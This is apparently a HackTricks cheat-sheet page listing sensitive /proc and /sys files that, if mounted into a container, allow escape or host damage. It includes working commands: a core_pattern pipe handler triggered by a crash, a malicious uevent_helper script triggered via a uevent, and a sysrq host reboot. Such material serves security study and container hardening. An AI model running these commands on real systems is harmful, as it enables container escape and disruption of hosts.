9 KiB
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The exposure of /proc
and /sys
without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting -v /proc:/host/proc
can bypass AppArmor protection due to its path-based nature, leaving /host/proc
unprotected.
You can find further details of each potential vuln in https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.
procfs Vulnerabilities
/proc/sys
This directory permits access to modify kernel variables, usually via sysctl(2)
, and contains several subdirectories of concern:
/proc/sys/kernel/core_pattern
- Described in core(5).
- Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe
|
. - Testing and Exploitation Example:
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access cd /proc/sys/kernel echo "|$overlay/shell.sh" > core_pattern # Set custom handler sleep 5 && ./crash & # Trigger handler
/proc/sys/kernel/modprobe
- Detailed in proc(5).
- Contains the path to the kernel module loader, invoked for loading kernel modules.
- Checking Access Example:
ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
/proc/sys/vm/panic_on_oom
- Referenced in proc(5).
- A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs.
/proc/sys/fs
- As per proc(5), contains options and information about the file system.
- Write access can enable various denial-of-service attacks against the host.
/proc/sys/fs/binfmt_misc
- Allows registering interpreters for non-native binary formats based on their magic number.
- Can lead to privilege escalation or root shell access if
/proc/sys/fs/binfmt_misc/register
is writable. - Relevant exploit and explanation:
- Poor man's rootkit via binfmt_misc
- In-depth tutorial: Video link
Others in /proc
/proc/config.gz
- May reveal the kernel configuration if
CONFIG_IKCONFIG_PROC
is enabled. - Useful for attackers to identify vulnerabilities in the running kernel.
/proc/sysrq-trigger
- Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions.
- Rebooting Host Example:
echo b > /proc/sysrq-trigger # Reboots the host
/proc/kmsg
- Exposes kernel ring buffer messages.
- Can aid in kernel exploits, address leaks, and provide sensitive system information.
/proc/kallsyms
- Lists kernel exported symbols and their addresses.
- Essential for kernel exploit development, especially for overcoming KASLR.
- Address information is restricted with
kptr_restrict
set to1
or2
. - Details in proc(5).
/proc/[pid]/mem
- Interfaces with the kernel memory device
/dev/mem
. - Historically vulnerable to privilege escalation attacks.
- More on proc(5).
/proc/kcore
- Represents the system's physical memory in ELF core format.
- Reading can leak host system and other containers' memory contents.
- Large file size can lead to reading issues or software crashes.
- Detailed usage in Dumping /proc/kcore in 2019.
/proc/kmem
- Alternate interface for
/dev/kmem
, representing kernel virtual memory. - Allows reading and writing, hence direct modification of kernel memory.
/proc/mem
- Alternate interface for
/dev/mem
, representing physical memory. - Allows reading and writing, modification of all memory requires resolving virtual to physical addresses.
/proc/sched_debug
- Returns process scheduling information, bypassing PID namespace protections.
- Exposes process names, IDs, and cgroup identifiers.
/proc/[pid]/mountinfo
- Provides information about mount points in the process's mount namespace.
- Exposes the location of the container
rootfs
or image.
/sys
Vulnerabilities
/sys/kernel/uevent_helper
- Used for handling kernel device
uevents
. - Writing to
/sys/kernel/uevent_helper
can execute arbitrary scripts uponuevent
triggers. - Example for Exploitation:
%%%bash
Creates a payload
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helperFinds host path from OverlayFS mount for container
host_path=$(sed -n 's/.\perdir=[^,]*
./\1/p' /etc/mtab)Sets uevent_helper to malicious helper
echo "$host_path/evil-helper" > /sys/kernel/uevent_helperTriggers a uevent
echo change > /sys/class/mem/null/ueventReads the output
cat /output %%%
/sys/class/thermal
- Controls temperature settings, potentially causing DoS attacks or physical damage.
/sys/kernel/vmcoreinfo
- Leaks kernel addresses, potentially compromising KASLR.
/sys/kernel/security
- Houses
securityfs
interface, allowing configuration of Linux Security Modules like AppArmor. - Access might enable a container to disable its MAC system.
/sys/firmware/efi/vars
and /sys/firmware/efi/efivars
- Exposes interfaces for interacting with EFI variables in NVRAM.
- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.
/sys/kernel/debug
debugfs
offers a "no rules" debugging interface to the kernel.- History of security issues due to its unrestricted nature.
References
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts
- Understanding and Hardening Linux Containers
- Abusing Privileged and Unprivileged Linux Containers
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.